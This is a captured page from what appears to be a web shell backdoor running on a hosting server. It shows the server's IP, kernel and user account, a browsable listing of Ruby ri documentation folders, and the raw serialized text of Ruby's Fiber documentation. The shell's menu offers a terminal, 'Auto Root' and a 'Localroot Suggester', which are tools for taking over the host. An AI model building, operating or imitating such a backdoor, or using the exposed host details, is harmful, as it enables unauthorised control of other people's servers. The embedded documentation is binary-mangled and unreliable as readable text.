Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.198
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby30 /
share /
ri /
system /
Delete
Unzip
Name
Size
Permission
Date
Action
ACL
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
ARGF
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Abbrev
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Addrinfo
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
ArgumentError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Array
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Base64
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
BasicObject
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
BasicSocket
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Benchmark
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
BigDecimal
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
BigMath
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Binding
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Bundler
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
CGI
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
CSV
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Class
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
ClosedQueueError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Comparable
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Complex
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
ConditionVariable
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Continuation
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
CoreExtensions
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Coverage
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
DBM
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
DBMError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
DEBUGGER__
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
DRb
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Date
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
DateTime
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Delegator
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
DidYouMean
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Digest
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Dir
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
ENV
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
EOFError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
ERB
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
EXCEPTION_TYPE
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Encoding
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
EncodingError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
English
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Enumerable
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Enumerator
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Errno
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Etc
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Exception
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
ExceptionForMatrix
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
FalseClass
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Fcntl
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Fiber
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
FiberError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Fiddle
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
File
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
FileTest
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
FileUtils
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Find
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Float
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
FloatDomainError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Forwardable
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
FrozenError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
GC
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
GDBM
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
GDBMError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
GDBMFatalError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Gem
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
GetoptLong
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
HTTPClientException
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
HTTPGatewayTimeOut
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
HTTPMovedTemporarily
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
HTTPMultipleChoice
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
HTTPRequestEntityTooLarge
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
HTTPRequestTimeOut
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
HTTPRequestURITooLarge
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
HTTPRequestURITooLong
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
HTTPRequestedRangeNotSatisfiable
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Hash
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
IO
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
IOError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
IPAddr
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
IPSocket
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
IRB
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
IndexError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Integer
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Interrupt
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
JSON
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Jacobian
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Kconv
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Kernel
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
KeyError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
LUSolve
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
LoadError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
LocalJumpError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Logger
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
MakeMakefile
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Marshal
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
MatchData
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Math
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Matrix
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Method
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Module
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Monitor
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
MonitorMixin
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Mutex
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Mutex_m
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
NKF
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
NameError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Net
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Newton
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
NilClass
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
NoMatchingPatternError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
NoMemoryError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
NoMethodError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
NotImplementedError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Numeric
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
OLEProperty
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Object
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
ObjectSpace
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Observable
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Open3
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
OpenSSL
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
OpenStruct
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
OpenURI
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
OptionParser
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
PP
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
PStore
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
PTY
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Pathname
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Pool
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
PrettyPrint
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Prime
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Proc
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Process
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Psych
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Queue
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
RDoc
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
RDocTask
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Racc
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Ractor
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Rake
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Random
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Range
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
RangeError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Rational
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
RbConfig
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Readline
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Regexp
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
RegexpError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Reline
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Resolv
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Rinda
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Ripper
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
RubyLex
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
RubyVM
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
RuntimeError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
SOCKSSocket
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
ScriptError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
SecureRandom
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
SecurityError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Set
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Shellwords
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Signal
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
SignalException
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
SimpleDelegator
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
SingleForwardable
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Singleton
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
SizedQueue
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Socket
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
SocketError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
StandardError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
StopIteration
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
String
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
StringIO
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
StringScanner
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Struct
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Symbol
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
SyntaxError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Syslog
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
SystemCallError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
SystemExit
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
SystemStackError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
TCPServer
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
TCPSocket
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
TSort
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Tempfile
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Thread
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
ThreadError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
ThreadGroup
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Time
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Timeout
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
TracePoint
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Tracer
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
TrueClass
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
TypeError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
UDPSocket
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
UNIXServer
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
UNIXSocket
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
URI
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
UnboundMethod
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
UncaughtThrowError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
UnicodeNormalize
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Vector
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
WIN32OLE
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
WIN32OLEQueryInterfaceError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
WIN32OLERuntimeError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
WIN32OLE_EVENT
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
WIN32OLE_METHOD
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
WIN32OLE_PARAM
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
WIN32OLE_RECORD
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
WIN32OLE_TYPE
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
WIN32OLE_TYPELIB
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
WIN32OLE_VARIABLE
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
WIN32OLE_VARIANT
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Warning
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
WeakRef
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Win32
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
XMP
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
YAML
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
ZeroDivisionError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
Zlib
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
fatal
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
lib
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
syntax
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
win32
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
cache.ri
291
KB
-rw-r--r--
2024-06-26 17:25
page-CONTRIBUTING_md.ri
358
B
-rw-r--r--
2024-06-26 17:25
page-COPYING.ri
3.06
KB
-rw-r--r--
2024-06-26 17:25
page-COPYING_ja.ri
3.16
KB
-rw-r--r--
2024-06-26 17:25
page-LEGAL.ri
48.36
KB
-rw-r--r--
2024-06-26 17:25
page-NEWS-1_8_7.ri
22.05
KB
-rw-r--r--
2024-06-26 17:25
page-NEWS-1_9_1.ri
17.56
KB
-rw-r--r--
2024-06-26 17:25
page-NEWS-1_9_2.ri
20.67
KB
-rw-r--r--
2024-06-26 17:25
page-NEWS-1_9_3.ri
14.91
KB
-rw-r--r--
2024-06-26 17:25
page-NEWS-2_0_0.ri
26.03
KB
-rw-r--r--
2024-06-26 17:25
page-NEWS-2_1_0.ri
18.2
KB
-rw-r--r--
2024-06-26 17:25
page-NEWS-2_2_0.ri
16.89
KB
-rw-r--r--
2024-06-26 17:25
page-NEWS-2_3_0.ri
17.8
KB
-rw-r--r--
2024-06-26 17:25
page-NEWS-2_4_0.ri
16.02
KB
-rw-r--r--
2024-06-26 17:25
page-NEWS-2_5_0.ri
23.8
KB
-rw-r--r--
2024-06-26 17:25
page-NEWS-2_6_0.ri
24.97
KB
-rw-r--r--
2024-06-26 17:25
page-NEWS-2_7_0.ri
31.66
KB
-rw-r--r--
2024-06-26 17:25
page-NEWS_md.ri
30.46
KB
-rw-r--r--
2024-06-26 17:25
page-README_ja_md.ri
10.93
KB
-rw-r--r--
2024-06-26 17:25
page-README_md.ri
8.33
KB
-rw-r--r--
2024-06-26 17:25
page-bug_triaging_rdoc.ri
4.83
KB
-rw-r--r--
2024-06-26 17:25
page-contributing_rdoc.ri
20.87
KB
-rw-r--r--
2024-06-26 17:25
page-dig_methods_rdoc.ri
3.66
KB
-rw-r--r--
2024-06-26 17:25
page-dtrace_probes_rdoc.ri
9.92
KB
-rw-r--r--
2024-06-26 17:25
page-extension_ja_rdoc.ri
85.53
KB
-rw-r--r--
2024-06-26 17:25
page-extension_rdoc.ri
86.75
KB
-rw-r--r--
2024-06-26 17:25
page-fiber_md.ri
5.72
KB
-rw-r--r--
2024-06-26 17:25
page-globals_rdoc.ri
5.82
KB
-rw-r--r--
2024-06-26 17:25
page-implicit_conversion_rdoc.ri
7.22
KB
-rw-r--r--
2024-06-26 17:25
page-keywords_rdoc.ri
6.29
KB
-rw-r--r--
2024-06-26 17:25
page-maintainers_rdoc.ri
15.36
KB
-rw-r--r--
2024-06-26 17:25
page-make_cheatsheet_md.ri
3.44
KB
-rw-r--r--
2024-06-26 17:25
page-marshal_rdoc.ri
14.17
KB
-rw-r--r--
2024-06-26 17:25
page-memory_view_md.ri
8.85
KB
-rw-r--r--
2024-06-26 17:25
page-method_documentation_rdoc.ri
8.95
KB
-rw-r--r--
2024-06-26 17:25
page-ractor_md.ri
31.38
KB
-rw-r--r--
2024-06-26 17:25
page-regexp_rdoc.ri
35.68
KB
-rw-r--r--
2024-06-26 17:25
page-security_rdoc.ri
7.09
KB
-rw-r--r--
2024-06-26 17:25
page-signals_rdoc.ri
4.96
KB
-rw-r--r--
2024-06-26 17:25
page-standard_library_rdoc.ri
9.17
KB
-rw-r--r--
2024-06-26 17:25
page-syntax_rdoc.ri
1.88
KB
-rw-r--r--
2024-06-26 17:25
Save
Rename
U:RDoc::TopLevel[ i I" fiber.md:EFcRDoc::Parser::Markdowno:RDoc::Markup::Document:@parts[*S:RDoc::Markup::Heading: leveli: textI" Fiber;To:RDoc::Markup::Paragraph;[I"<Fibers provide a mechanism for cooperative concurrency.;TS; ; i;I"Context Switching;To;;[I"Fibers execute a user-provided block. During the execution, the block may call <code>Fiber.yield</code> or <code>Fiber.transfer</code> to switch to another fiber. <code>Fiber#resume</code> is used to continue execution from the point where <code>Fiber.yield</code> was called.;To:RDoc::Markup::Verbatim;[I"�#!/opt/alt/ruby30/bin/ruby puts "1: Start program." f = Fiber.new do puts "3: Entered fiber." Fiber.yield puts "5: Resumed fiber." end puts "2: Resume fiber first time." f.resume puts "4: Resume fiber second time." f.resume puts "6: Finished." ;T:@format: rubyo;;[I":This program demonstrates the flow control of fibers.;TS; ; i;I"Scheduler;To;;[I"^The scheduler interface is used to intercept blocking operations. A typical implementation would be a wrapper for a gem like <code>EventMachine</code> or <code>Async</code>. This design provides separation of concerns between the event loop implementation and application code. It also allows for layered schedulers which can perform instrumentation.;To;;[I"1To set the scheduler for the current thread:;To; ;[I"*Fiber.set_scheduler(MyScheduler.new) ;T;;o;;[I"TWhen the thread exits, there is an implicit call to <code>set_scheduler</code>:;To; ;[I"Fiber.set_scheduler(nil) ;T;;S; ; i;I"Interface;To;;[I"1This is the interface you need to implement.;To; ;[I"�class Scheduler # Wait for the specified process ID to exit. # This hook is optional. # @parameter pid [Integer] The process ID to wait for. # @parameter flags [Integer] A bit-mask of flags suitable for `Process::Status.wait`. # @returns [Process::Status] A process status instance. def process_wait(pid, flags) Thread.new do Process::Status.wait(pid, flags) end.value end # Wait for the given file descriptor to match the specified events within # the specified timeout. # @parameter event [Integer] A bit mask of `IO::READABLE`, # `IO::WRITABLE` and `IO::PRIORITY`. # @parameter timeout [Numeric] The amount of time to wait for the event in seconds. # @returns [Integer] The subset of events that are ready. def io_wait(io, events, timeout) end # Sleep the current task for the specified duration, or forever if not # specified. # @param duration [Numeric] The amount of time to sleep in seconds. def kernel_sleep(duration = nil) end # Block the calling fiber. # @parameter blocker [Object] What we are waiting on, informational only. # @parameter timeout [Numeric | Nil] The amount of time to wait for in seconds. # @returns [Boolean] Whether the blocking operation was successful or not. def block(blocker, timeout = nil) end # Unblock the specified fiber. # @parameter blocker [Object] What we are waiting on, informational only. # @parameter fiber [Fiber] The fiber to unblock. # @reentrant Thread safe. def unblock(blocker, fiber) end # Intercept the creation of a non-blocking fiber. # @returns [Fiber] def fiber(&block) Fiber.new(blocking: false, &block) end # Invoked when the thread exits. def close self.run end def run # Implement event loop here. end end ;T;;o;;[I"tAdditional hooks may be introduced in the future, we will use feature detection in order to enable these hooks.;TS; ; i;I"Non-blocking Execution;To;;[I"�The scheduler hooks will only be used in special non-blocking execution contexts. Non-blocking execution contexts introduce non-determinism because the execution of scheduler hooks may introduce context switching points into your program.;TS; ; i ;I"Fibers;To;;[I"BFibers can be used to create non-blocking execution contexts.;To; ;[I"�Fiber.new do puts Fiber.current.blocking? # false # May invoke `Fiber.scheduler&.io_wait`. io.read(...) # May invoke `Fiber.scheduler&.io_wait`. io.write(...) # Will invoke `Fiber.scheduler&.kernel_sleep`. sleep(n) end.resume ;T;;o;;[I"_We also introduce a new method which simplifies the creation of these non-blocking fibers:;To; ;[I"BFiber.schedule do puts Fiber.current.blocking? # false end ;T;;o;;[I"�The purpose of this method is to allow the scheduler to internally decide the policy for when to start the fiber, and whether to use symmetric or asymmetric fibers.;To;;[I"5You can also create blocking execution contexts:;To; ;[I"NFiber.new(blocking: true) do # Won't use the scheduler: sleep(n) end ;T;;o;;[I"UHowever you should generally avoid this unless you are implementing a scheduler.;TS; ; i ;I"IO;To;;[I"/By default, I/O is non-blocking. Not all operating systems support non-blocking I/O. Windows is a notable example where socket I/O can be non-blocking but pipe I/O is blocking. Provided that there _is_ a scheduler and the current thread <em>is non-blocking</em>, the operation will invoke the scheduler.;TS; ; i ;I" Mutex;To;;[I"^The <code>Mutex</code> class can be used in a non-blocking context and is fiber specific.;TS; ; i ;I"ConditionVariable;To;;[I"jThe <code>ConditionVariable</code> class can be used in a non-blocking context and is fiber-specific.;TS; ; i ;I"Queue / SizedQueue;To;;[I"}The <code>Queue</code> and <code>SizedQueue</code> classes can be used in a non-blocking context and are fiber-specific.;TS; ; i ;I"Thread;To;;[I"hThe <code>Thread#join</code> operation can be used in a non-blocking context and is fiber-specific.;T: @file@:0@omit_headings_from_table_of_contents_below0